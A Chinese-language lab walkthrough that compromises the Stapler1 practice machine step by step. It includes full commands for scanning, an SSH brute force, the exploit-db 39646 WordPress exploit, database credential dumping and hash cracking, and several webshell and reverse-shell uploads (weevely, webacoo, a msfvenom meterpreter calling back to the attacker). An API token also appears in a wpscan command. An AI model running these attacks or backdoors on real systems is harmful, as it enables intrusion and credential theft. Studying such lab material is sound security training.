「網(wǎng)絡(luò)安全」紅隊滲透項目之Stapler1(上)(網(wǎng)絡(luò)安全紅隊是什么意思)
聲明:本文僅用于技術(shù)討論與研究,對于所有筆記中復(fù)現(xiàn)的這些終端或者服務(wù)器,都是自行搭建的環(huán)境進(jìn)行滲透的。我將使用Kali Linux作為此次學(xué)習(xí)的攻擊者機(jī)器。這里使用的技術(shù)僅用于學(xué)習(xí)教育目的,如果列出的技術(shù)用于其他任何目標(biāo),本站及作者概不負(fù)責(zé)。
一、信息收集
信息收集非常重要,有了信息才能知道下一步該如何進(jìn)行,接下來將用nmap來演示信息收集:
1、nmap掃描存活I(lǐng)P
由于本項目環(huán)境是nat模式需要項目IP地址,掃描挖掘本地的IP地址信息:
發(fā)現(xiàn)本kali ip為40段!用40段進(jìn)行全網(wǎng)段掃描:
nmap -sP 192.168.40.0/24
發(fā)現(xiàn)項目IP為152!
2、nmap全端口服務(wù)枚舉
進(jìn)行namp全端口服務(wù)枚舉:
nmap -sS -sV -A -T5 -p- 192.168.40.152
得到開放的端口信息:
21/tcp open ftp vsftpd 2.0.8 or later ftp-anon: Anonymous FTP login allowed (FTP code 230)22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)53/tcp open domain dnsmasq 2.7580/tcp open http PHP cli server 5.5 or later123/tcp closed ntp139/tcp open NetBIOS-ssn samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)666/tcp open doom? message2.jpgUT 3306/tcp open mysql MySQL 5.7.12-0ubuntu112380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
以及smb2(windows445端口,共享用)利用!
可以看到有很多容易受到攻擊的端口都開著,F(xiàn)TP、NetBIOS、MySQL和運行Web服務(wù)器(Apache HTTPD)的端口12380等等!
二、各類服務(wù)端口信息枚舉
【→所有資源關(guān)注我,私信回復(fù)“資料”獲取←】
1、網(wǎng)絡(luò)安全學(xué)習(xí)路線
2、電子書籍(白帽子)
3、安全大廠內(nèi)部視頻
4、100份src文檔
5、常見安全面試題
6、ctf大賽經(jīng)典題目解析
7、全套工具包
8、應(yīng)急響應(yīng)筆記
1、FTP信息枚舉
根據(jù)nmap全端口服務(wù)枚舉的提示,ftp允許匿名登錄:
21/tcp open ftp vsftpd 2.0.8 or later ftp-anon: Anonymous FTP login allowed (FTP code 230)
1)ftp匿名登錄枚舉
ftp 192.168.40.152get note ---下載note文件
未授權(quán)登錄成功,查到note文件,并下載查看!
2)查看note文件
通過ftp下載該文件進(jìn)行查看:
Elly, make sure you update the payload information. Leave it in your FTP account once your are done, John.
里面是txt文本信息:說將賬號信息留存在FTP中,那么還有別的賬號密碼!
獲得兩個用戶名:Elly、John,其他無可用信息!
2、Samba信息收集
這是139的Samba服務(wù),可以用smbclient來查看。
smbclient是一個開放的netbios-ssn,用smbclient來查看(屬于samba套件,它提供一種命令行使用交互式方式訪問samba服務(wù)器的共享資源)!用Enum4linux枚舉,這是一個用于枚舉來自Windows和Samba系統(tǒng)的信息的工具。
1)Enum4linux枚舉
enum4linux -a 192.168.40.152-a 做所有參數(shù)選項枚舉一遍
獲取到2個可用信息:
1. ok活躍信息:
//192.168.40.152/kathy Mapping: OK, Listing: OK//192.168.40.152/tmp Mapping: OK, Listing: OK
kathy和tmp兩個信息非?;钴S!可以用smbclient連接!
2. 發(fā)現(xiàn)了20個用戶信息
kathy和tmp兩個信息非常活躍!可以用smbclient連接!
2)保存用戶信息,并篩查
gedit user.txtcat user.txt | cut -d '' -f2 | cut -d ' ' -f1 > user.txt
將通過篩選剔除后,獲得正常的用戶名:user.txt!
3、暴力破解ssh信息枚舉
1)hydra暴力破解
nmap掃描ssh端口為開放狀態(tài),利用hydra爆破
hydra -L user.txt -P user.txt 192.168.40.152 ssh
login: SHayslett password: SHayslett
獲得ssh登錄賬號密碼!
2)ssh登錄
ssh嘗試登錄:
ssh SHayslett@192.168.40.152
登錄成功!到了這一步有非常多的提權(quán)方法,咱們繼續(xù)分析該項目環(huán)境!
4、nc信息枚舉666端口
1)訪問http端口
通過瀏覽器訪問該端口:
http://192.168.40.152:666/
發(fā)現(xiàn)這是一個文件!
2)nc下載文件
通過nc訪問該端口進(jìn)行探測:
nc 192.168.40.152 666 >test #將文件下載為test file test #查看test版本unzip -h #看下zip版本信息unzip test #用zip解壓test文件
通過nc下載壓縮文件,并解壓獲得message2的jpg圖片!
3)Strings查看圖片信息
strings查看該圖片隱藏信息:
strings message2.jpg
給了兩個cookie值,先留著該信息!
5、枚舉12380端口信息收集
1)訪問端口
用瀏覽器訪問該頁面:
http://192.168.40.152:12380/
發(fā)現(xiàn)該頁面沒有可利用的信息,進(jìn)行漏掃看看!
2)Nikto掃描URL
nikto 是一款開放源代碼的、功能強(qiáng)大的 WEB 掃描評估軟件,能對 web 服務(wù)器多種安全項目進(jìn)行測試的掃描軟件,去尋找已知有名的漏洞,能在230多種服務(wù)器上掃描出2600多種有潛在危險的文件、CGI 及其他問題,它可以掃描指定主機(jī)的 WEB 類型、主機(jī)名、特定目錄、Cookie、特定 CGI 漏洞、返回主機(jī)允許的 http 模式等等。
nikto -h http://192.168.40.152:12380/
發(fā)現(xiàn)三個目錄/admin112233/、/blogblog/、/phpmyadmin/,發(fā)現(xiàn)提示ssl Info,說明是ssl訪問的,可以HTTPS訪問,嘗試訪問http訪問會重定向回來,需要HTTPS訪問URL!
3)ssl訪問
先枚舉訪問/admin112233目錄:
https://192.168.40.152:12380/admin112233/
回顯:This could of been a BeEF-XSS hook ;),存在XSS!
枚舉訪問/blogblog目錄:
https://192.168.40.152:12380/blogblog/
發(fā)現(xiàn)該網(wǎng)站的是用wordpress搭建的,版本是4.2.1
枚舉訪問/phpmyadmin目錄:
https://192.168.40.152:12380/phpmyadmin
得到phpmyadmin的后臺登錄界面,需要賬戶密碼!
6、Wpscan信息收集
從blogblog目錄可以發(fā)現(xiàn)該站存在wordpress站!可利用wpscan進(jìn)行枚舉掃描!
1)wpscan掃描blogblog網(wǎng)頁
wpscan --url https://192.168.40.152:12380/blogblog/ --disable-tls-checks--disable-tls-checks ---因為會受到SSL對等證書/SSH錯誤臨時用法!
提示我們登錄https://wpscan.com/register獲取wpscan API令牌,才能輸出漏洞數(shù)據(jù)
2)獲取wpscan API令牌
需要訪問官網(wǎng),獲取密匙:
https://wpscan.com/register
在官網(wǎng)登錄后主頁面存在API Token復(fù)制即可!
3)wpscan掃描
通過獲取的token直接開始掃描:
wpscan --url https://192.168.40.152:12380/blogblog/ -e u --api-token kJ4bhZCgveCcoGJPER7AOsHJTeFDf90Wfj9zu0V6asc --disable-tls-checks
掃描發(fā)現(xiàn)該目錄:blogblog/wp-content/,訪問下收集信息!還存在很多漏洞CVE信息,如感興趣可深入研究!
4)訪問發(fā)現(xiàn)有3個子目錄
在blogblog/wp-content/plugins/發(fā)現(xiàn):
發(fā)現(xiàn)存在advanced_video_embed.php,提示存在wordpress advanced video插件模塊信息!
三、wordpress advanced漏洞利用
1、39646 exp利用
谷歌搜索:
wordpress advanced video exploit
可以利用39646,在kali上查找并利用!
2、查找并利用py腳本
kali滲透系統(tǒng)自帶很多exp腳本,直接查找即可!
cp /usr/share/exploitdb/exploits/php/webapps/39646.py .
將exp復(fù)制到利用目錄!
3、修改exp代碼
添加修改以下內(nèi)容:
import sslssl._create_default_https_context = ssl._create_unverified_contexturl = "https://192.168.40.152:12380/blogblog/"
4、訪問URL文件上傳頁面:
通過修改exp代碼,進(jìn)行對項目環(huán)境滲透行為后,在upload目錄會出現(xiàn)新的文件內(nèi)容:
https://192.168.40.152:12380/blogblog/wp-content/uploads
目錄下會出現(xiàn)圖片:193104749.jpeg,下載:
wget --no-check-certificate https://192.168.40.152:12380/blogblog/wp-content/uploads/193104749.jpeg--no-check-certificate ---這個參數(shù)可促使wget下載ssl文件
下載后進(jìn)行分析圖片信息!
5、圖片信息枚舉
file查看圖片類型:
193104749.jpeg: PHP script, ASCII text
這是一個php代碼的txt文本!直接查看!
define('DB_USER', 'root');define('DB_PASSWORD', 'plbkac');
獲得mysql用戶名密碼:
root/plbkac
接下來使用賬號密碼直接枚舉數(shù)據(jù)庫!
四、Mysql信息枚舉 暴力破解
1、庫表信息枚舉
利用圖片枚舉出的mysql數(shù)據(jù)庫賬號密碼進(jìn)行枚舉:
mysql -uroot -pplbkac -h 192.168.40.152 #利用獲得的賬戶密碼遠(yuǎn)程登錄show databases; #查看數(shù)據(jù)庫信息use wordpress #進(jìn)入wordpressshow tables; #查看表信息
通過mysql命令枚舉到數(shù)據(jù)庫wordpress庫中存在wp_users表信息!
2、表字段信息枚舉
讀取wp_user用戶表數(shù)據(jù):
desc wp_users;select user_login,user_pass from wp_users;或者select * from wp_users;
通過select枚舉出該表所有信息內(nèi)容存在用戶名和MD5加密的密碼信息!將數(shù)據(jù)保存至本地:
gedit 1.txt
3、AWK分解保存
使用awk進(jìn)行文本出來提取user_pass這個字段所有值,在保存至pass.txt
awk拆分密碼信息:密碼在第3部分
awk -F'|' '{print $3}' 1.txt > pass.txt
4、john爆破密碼本
繼續(xù)使用John的rockyou文本對mysql密碼信息進(jìn)行爆破:
john --wordlist=/usr/share/wordlists/rockyou.txt pass.txt
$P$B7889EMq/erHIuZapMB8GEizebcIy9.:incorrect
發(fā)現(xiàn)對應(yīng)john用戶,密碼為incorrect
五、Getshell
通過暴力破解數(shù)據(jù)庫中的密碼值,發(fā)現(xiàn)了賬號密碼信息可直接登錄wordpress后臺,登錄后有很多方法可以getshell,接下來就簡單介紹利用!
1、登錄后臺
訪問后臺頁面,用賬戶:john,密碼:incorrect
https://192.168.40.152:12380/blogblog/wp-login.php
測試可成功登錄!
2、文件上傳
Plugins-》 add New -》upload Plugin :存在上傳文件
3、php-webshell利用
復(fù)制phpshell到本文件夾:
cp /usr/share/webshells/php/php-reverse-shell.php .
配置PHP文件,將IP更改為本地kail IP:
修改完成即可上傳文件!上傳PHP文件:
查看是否上傳成功:
上傳成功!本地開啟nc服務(wù),并訪問后門進(jìn)行反彈shell:
nc -vlp 1234https://192.168.40.152:12380/blogblog/wp-content/uploads/php-reverse-shell.php
成功獲得反彈shell,并控制項目環(huán)境服務(wù)器!
4、weevely利用
1)利用weevely生成PHP木馬文件
Weevely是一個隱形的PHP網(wǎng)頁的外殼,模擬的遠(yuǎn)程連接。
軟件特點:
生成和管理很難檢測到的PHP木馬,這是一個Web應(yīng)用程序后開發(fā)的重要工具,可用于像一個隱藏的后門,作為一個有用的遠(yuǎn)程控制臺更換管理網(wǎng)絡(luò)帳戶,即使托管在免費托管服務(wù)。只是生成并上傳“服務(wù)器”目標(biāo)Web服務(wù)器上的PHP代碼,Weevely客戶端在本地運行shell命令傳輸。
weevely generate pass11 test.php ---生成test.php文件密碼為passtestgenerate ---生成新代理
weevely的優(yōu)勢在于免殺性,可看到php木馬信息是混淆過的特征!
2)上傳文件
驗證上傳是否成功:
成功上傳!
3)運行該PHP文件,獲得shell
weevely https://192.168.40.152:12380/blogblog/wp-content/uploads/test.php passtest
成功獲得shell,該shell很穩(wěn)定!
5、webacoo利用
WeBaCoo(Web Backdoor Cookie)是一款隱蔽的腳本類Web后門工具。 借助HTTP協(xié)議,它可在客戶端和Web服務(wù)器之間實現(xiàn)執(zhí)行代碼的網(wǎng)頁終端。 WeBaCoo的精妙之處在于,Web服務(wù)器和客戶端之間的通信載體是Cookie。
1)webacoo生成PHP后門文件
webacoo -g -o webacoo.php-g 生成后門代碼(需要-o)-o OUTPUT 生成的后門輸出文件名
可看到webacoo也是通過特征混淆了php木馬,但是沒用weevely免殺性能好!
2)后臺頁面上傳該PHP后門
訪問是否上傳成功:
成功上傳!
3)遠(yuǎn)程連接執(zhí)行PHP文件
webacoo -t -u https://192.168.40.152:12380/blogblog/wp-content/uploads/webacoo.php-t 建立遠(yuǎn)程“終端”連接(需要-u)-u URL 后門 URL
成功獲得shell,該shell很穩(wěn)定!
6、MSFconsole上線webshell
Metasploit項目是一個旨在提供安全漏洞信息計算機(jī)安全項目,可以協(xié)助安全工程師進(jìn)行滲透測試(penetration testing)及入侵檢測系統(tǒng)簽名開發(fā)。
1)kali本地生成webshell
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.40.149 LPORT=4455 -f raw > msf.php--LHOST 為kali本地IP--LPORT 為連接端口
生成成功msf.php木馬文件!
2)后臺上傳PHP文件
上傳成功:
成功上傳后需要msf開啟監(jiān)聽!
3)msf開啟監(jiān)聽
開啟msfconsole進(jìn)入MSF框架:
msfconsoleuse exploit/multi/handlerset payload php/meterpreter_reverse_tcpset LHOST 192.168.40.149set LPORT 4455run
開啟監(jiān)聽后,訪問msf.php文件觸發(fā),可看到反彈shell成功!